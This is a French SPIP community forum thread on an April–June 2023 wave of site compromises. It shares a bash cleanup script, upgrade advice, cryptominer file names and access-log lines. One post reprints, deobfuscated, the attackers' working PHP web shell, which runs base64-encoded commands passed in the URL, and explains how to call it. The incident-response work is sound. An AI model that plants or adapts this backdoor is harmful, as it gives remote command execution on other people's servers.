Alerte : vague de piratage de sites depuis le 23 avril 2023 : pas d’accès à /ecrire (version SPIP inférieures à 3.2.18, 4.1.8 et 4.2.1)

Bonjour

En complément un script (brut de décoffrage) qui permet de faire un certain nettoyage à lancer en bash sur le serveurs concernés.

Le script cherche les spip.php verolés, stock les repértoires concernés, supprime une liste de répertoires et des fichiers
Ensuite il repasse sur la liste des répertoires vérolés pour voir si tout est nettoyé et autrement indique les fichiers à vérifier.

Par défaut il est en dry-run c’est à dire que sera listé les actions à lancer. Ensuite on copie/colle ou bien on modifie la variable dry_run pour 0

C’est maintenant sur spip-contrib-outils/spip_cleaner: Clean spip instance after some hack - spip_cleaner - SPIP on GIT

Je mets à jour à date le script mais mieux vaut se reporter au dépôt git

#!/bin/bash

##
# Version 0.5
#  argument pour le path de départ
#  chercher tous les spip (exlusion de chemin faux positif comme plugins-dist/ et ecrire/auth/
#  considérer les sites vérolés sur un grep dans les path spip identifiés
# Version 0.4
# Version 0.3
#  Ajout ecran de securité
# Version 0.2
#  ajout dry-run
#  check cyclique avec liste des spip identifié automatiquement
#  support coloration message
# Version 0.1
#  Premier jet 
## 

dry_run=1
spip_list="$HOME/spip_veroles.lst"
www_dir="/var/www/"


if [[ -d "$1" ]]; then
	www_dir="$1"
fi


if [[ $dry_run == 1 ]]; then
        rm_cmd="echo rm -r"
else
        rm_cmd="rm -fr"
fi

if [[ ! -f "$spip_list" ]];then
  touch "$spip_list"
fi

function vprint() {
  msg=$1
  color=$2
  # Reset
  NC='\033[0m'       # Text Reset
  # Regular Colors
  # shellcheck disable=SC2034
  BLACK='\033[0;30m'        # Black
  # shellcheck disable=SC2034
  RED='\033[0;31m'          # Red
  # shellcheck disable=SC2034
  GREEN='\033[0;32m'        # Green
  # shellcheck disable=SC2034
  YELLOW='\033[0;33m'       # Yellow
  # shellcheck disable=SC2034
  BLUE='\033[0;34m'         # Blue
  # shellcheck disable=SC2034
  PURPLE='\033[0;35m'       # Purple
  # shellcheck disable=SC2034
  CYAN='\033[0;36m'         # Cyan
  # shellcheck disable=SC2034
  WHITE='\033[0;37m'        # White

  printf "${!color}%s${NC}\n" "$msg"
}

function clean_spip() {
  spip_dir=$1

  vprint "$spip_dir" "RED"
  $rm_cmd "$spip_dir/*.cache"
  $rm_cmd "$spip_dir/tmp/*"
  $rm_cmd "$spip_dir/local/*"
  mkdir -p "$spip_dir/tmp"
  wget https://git.spip.net/spip-contrib-outils/securite/raw/branch/master/ecran_securite.php -qO "$spip_dir/config/ecran_securite.php"
  wget https://git.spip.net/spip/spip/raw/branch/master/spip.php -qO "$spip_dir/spip.php"


  grep -lr "@eval(@base64_decode" "$spip_dir"

  files_to_remove="
    response.php
    update.php
    ecrire/local.php
    ecrire/auto.php
    local/config.php
    local/define.php
    lib/api.php
    lib/api_response.php
    lib/langs.php
    plugins/auto/saisies/saisies.php
    plugins/auto/saisies/saisies_loader.php
  "
  for file in ${files_to_remove}; do
    if [ -f "$spip_dir/$file" ]; then
      $rm_cmd "$spip_dir/$file"
    fi
  done;
}

function search_spip() {
        spip_all_path=()
        www_dir="$1"
        spip_files=$(find "$www_dir" -type d \( -path "*plugins-dist*" -o -path "*ecrire/auth*" \) -prune -o -iname spip.php -print)
        for spip in $spip_files;do
                spip_full_path=$(realpath "$spip")
                spip_dir=$(dirname "$spip_full_path")
                spip_all_path+=("$spip_dir")
        done
	echo "${spip_all_path[@]}"
}

spip_founds=$(search_spip "$www_dir")
vprint "Search hacked SPIP" "BLUE"
for spip in $spip_founds; do
  spip_hacked=$(grep -q 'spip_pass' "$spip/spip.php")
  if [ "$spip_hacked" ];then
	  echo "$spip" >> "$spip_list"
	  clean_spip "$spip"
  fi
done;

vprint "Check integrity on previous SPIP hacked" "BLUE"
for spip_dir in $(uniq "$spip_list"); do
  clean_spip "$spip_dir"
done;

vprint "Manage all spip" "BLUE"
for spip in $spip_founds; do
  clean_spip "$spip"
done;

1 « J'aime »

Non, par définition. Ce n’est plus maintenu, donc ca pourrait revenir tant que tu ne fais pas de mise à jour.

AHSTUNCIC est vraiment vieux. Il se peut cependant qu’en forcant les bornes dans le paquet.xml il fonctionne sur les version plus récentes.

Merci Maïeul ! Oui il est trop vieux mais je ne vais pas changer car la propriétaire du site veut aller sous WordPress ou Wickx…

···

PS : je ne sais pas forcer les bornes dans les paquets XML…

Bien cordialement,

Christian Pitet

moui, je suis pas sur que rester sur un squelette pas au gout du jour le convaincrait de rester sous SPIP.

Cela étant j’ai vu passer des sites sur AHSUNTIC à jour, donc à mon avis le forcage des bornes ferait l’affaire.

Je me permets de remettre le code de manière plus lisible:

<?php
if (isset($_GET['k'], $_GET['c'])) {
    $k = @base64_decode($_GET['k']);
    $c = @base64_decode($_GET['c']);
    if ($k !== FALSE && $c !== FALSE) {
        echo '#!#';
        $j = array('o' => array(), 'c' => 0);
        $d = array();
        $a = @ini_get('disable_functions');
        if ($a)
            $d = explode(',', $a);
        else {
            $d = array();
        }
        if (@md5($k) === 'e75acb27171300d9b9470c44ec4c1fc6') {
            function t($t)
            {
                return @trim($t, " \n\r\t");
            }
            function e($e)
            {
                global $j;
                $j['o'] = array('EXEC_ERROR');
                $j['c'] = $e;
            }
            if (@function_exists('exec') && @in_array('exec', $d) == FALSE) {
                $b = @exec($c, $j['o'], $j['c']);
                if (!$b)
                    e(110);
            } elseif (@function_exists('shell_exec') && @in_array('shell_exec', $d) == FALSE) {
                $b = @shell_exec($c);
                if ($b === FALSE || $b === NULL)
                    e(111);
                else {
                    $j['o'] = @explode("\n", t($b));
                }
            } else {
                $x = true;
                @ob_start();
                if (@function_exists('system') && @in_array('system', $d) == FALSE) {
                    $b = @system($c, $j['c']);
                    if ($b === FALSE) {
                        e(112);
                        $x = false;
                    }
                } elseif (@function_exists('passthru') && @in_array('passthru', $d) == FALSE) {
                    $b = @passthru($c, $j['c']);
                    if ($b === FALSE || $b !== NULL) {
                        e(113);
                        $x = false;
                    }
                } else {
                    $x = false;
                    $j['o'] = array('NO_EXEC');
                    $j['c'] = 101;
                }
                if ($x)
                    $j['o'] = @explode("\n", t(@ob_get_contents()));
                @ob_end_clean();
            }
        } else {
            $j['o'] = array('AUTH_ERROR');
            $j['c'] = 100;
        }
        $f = array();
        foreach ($j['o'] as $l) {
            $f[] = @base64_encode($l);
        }
        $j['o'] = $f;
        if (@function_exists('json_encode'))
            echo @json_encode($j);
        else {
            echo '{"o":["' . @implode($f, '","') . '"],"c":' . $j['c'] . '}';
        }
        echo '#$#';
    }
}

En gros (j’ai pas regardé en détail ni testé, juste lu) avec ce fichier il suffit d’appeler ecrire/auto.php?k=e75acb27171300d9b9470c44ec4c1fc6&c=<commande linux de votre choix encodée en base 64> pour exécuter un programme sur le serveur.
La commande peut être du genre rm -rf, mysql xxxx ou bien même n’importe quel script que l’attaquant a pu déposer au préalable.

A noter que l’attaquant essaie d’utiliser plusieurs méthodes, en passant par exec, shell_exec, system & Cie…
Bref, c’est une backdoor :slight_smile:

1 « J'aime »

réinstaller SPIP et tous les plugins à partir de zéro

c’est ce que j’ai essayé de faire, avec la version, 4.2 donc.
Mon site était sous la version 3.2 et ma version de PHP; 5.
Première question (à laquelle je n’ai pas réussi à répondre en visitant les forums): PHP 5 étant incompatible avec la version 4.2 de SPIP comment je fais pour passer à une version plus récente de PHP ?

J’ai quand même essayé de refaire une installation:
avec spip loader, zéro résultat
Installation manuelle, pas plus de résultat

monsite.org/ecrire → erreur 404

Merci de vos lumières.

Le mar. 30 mai 2023 à 17:34, jeanmarie via Discuter de SPIP <noreply@discuter.spip.net> a écrit :

jeanmarie
Mai 30

De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).

@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.

Il faut faire évoluer les maj en parallèle avec les versions de PHP…

passer le site en PHP 7.4 mettre à jour en 4.0 passer en 8 etc

···

Le 01/06/2023 à 21:19, Claire HENRION via Discuter de SPIP a écrit :

réinstaller SPIP et tous les plugins à partir de zéro

c’est ce que j’ai essayé de faire, avec la version, 4.2 donc.
Mon site était sous la version 3.2 et ma version de PHP; 5.
Première question (à laquelle je n’ai pas réussi à répondre en visitant les forums): PHP 5 étant incompatible avec la version 4.2 de SPIP comment je fais pour passer à une version plus récente de PHP ?

J’ai quand même essayé de refaire une installation:
avec spip loader, zéro résultat
Installation manuelle, pas plus de résultat

monsite.org/ecrire → erreur 404

Merci de vos lumières.

Le mar. 30 mai 2023 à 17:34, jeanmarie via Discuter de SPIP <> a écrit :


jeanmarie
Mai 30

De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).

@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.

noreply@discuter.spip.net

Il faut faire évoluer les maj en parallèle avec les versions de PHP
Merci de me l’avoir confirmé.
En suivant ce protocole https://contrib.spip.net/PhpMyAdmin-phpinfo#L-interet
, je devrais y arriver -)

Le changement de version de PHP se fait généralement via l’espace client chez ton hébergeur.

Et surtout penser que certains hébergeurs n’autorisent pas de fixer la version de php site par site, Dans ce cas, tous les sites hébergés doivent évoluer en même temps.

bon, je n’ai qu’un site et je suis chez OVH

Le sam. 3 juin 2023 à 15:48, choucas via Discuter de SPIP <noreply@discuter.spip.net> a écrit :

choucas
Juin 3

Claire_HENRION:

l faut faire évoluer les maj en parallèle avec les versions de PHP

Et surtout penser que certains hébergeurs n’autorisent pas de fixer la version de php site par site, Dans ce cas, tous les sites hébergés doivent évoluer en même temps.


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.

Pour info, une nouvelle vague de piratage a été lancée hier le 25/06. Cette fois, le hack consiste à déposer des fichiers python et autre binaire afin d’exploiter la machine pour miner du bitcoin. voici la liste des fichiers que j’ai pu repérer sur les différents sites impactés :

data.php hp_sniff.py* InUdrHFO.php Isotope.x86 mine tst.py x86_64 xmrig*
6diSibAbzNC4qNywNvKPq7IfcfxdyLvP7trJYdXG hp_sniff.py* killer.py mine* tst.py x86_64* xmrig*

Il est donc urgent de mettre à jour votre SPIP si ça n’est pas déjà fait, ou au moins à le protéger avec la dernière version de l’écran de sécurité cf Écran de sécurité - SPIP

3 « J'aime »

Pour au moins un de mes sites qui ont subit le piratage, j’étais à jour:

  • SPIP 4.1.10
  • ecran de sécurité 1.5.3
1 « J'aime »

Oui, effectivement, deux de mes sites ont été impactés.
Bonne journée !

Par curiosité: y-a-t-il possibilité que les sites aient été infectés avant la mise à jour en 4.1.10 avec un fichier resté caché et inaperçu ? je veux dire infectés alors qu’ils étaient dans une version antérieure, nettoyés puis mis à jour en 4.1.10, sauf que le nettoyage aurait laissé passer un truc ?
Ou alors ils n’ont jamais été infectés, mis à jour dans les temps et malgré ça infectés de nouveau ? et dans ce cas ça pourrait être une autre faille ?
Inquiétant tout ça !

Je pense que c’est du brut-force.
Les logs avant que le premier script ne soit déposé sont pleines de

31.222.238.89 - - [25/Jun/2023:20:37:37 +0200] "GET /spip.php?page=spip_pass HTTP/1.1" 200 13691 "-" "Go-http-client/1.1"
31.222.238.89 - - [25/Jun/2023:20:37:37 +0200] "POST /spip.php?page=spip_pass HTTP/1.1" 200 8747 "-" "Go-http-client/1.1"

Sinon dans les choses bizarres, j’ai un processus /usr/sbin/spip qui est exécuté (alors que le fichier n’existe plus) - il y a aussi des scripts python qui continuent à tourner même si le source est supprimé (seule solution : rebooter ou faire des kill manuels)

J’ai vu ça passer sur certains serveurs hier soir, pkill -9 -f spip et zou, mais il y a d’autres procs chelous comme /usr/sbin/systems et plein d’autres. De mon côté, un restart apache permettait de tous les tuer.

Par rapport aux appels excessifs de spip_pass, est-ce qu’il existe un plugin qui limite le nombre d’appels successifs ?

1 « J'aime »

2 sites impactés.
Pour info le message d’OVH suite au piratage :
Problème rencontré : Un script malveillant a été détecté sur votre hébergement
Commande apparente : uCeuCEeuxFeuawDg??
Exécutable utilisé : /legacy/home/nomdedomaine/www/Isotope.x86
Horodatage: 2023-06-26 00:54:50

1 « J'aime »

De mon côté aucun site à jour n’est impacté, le répertoire de ton site devait déjà être infecté avant ta mise à jour.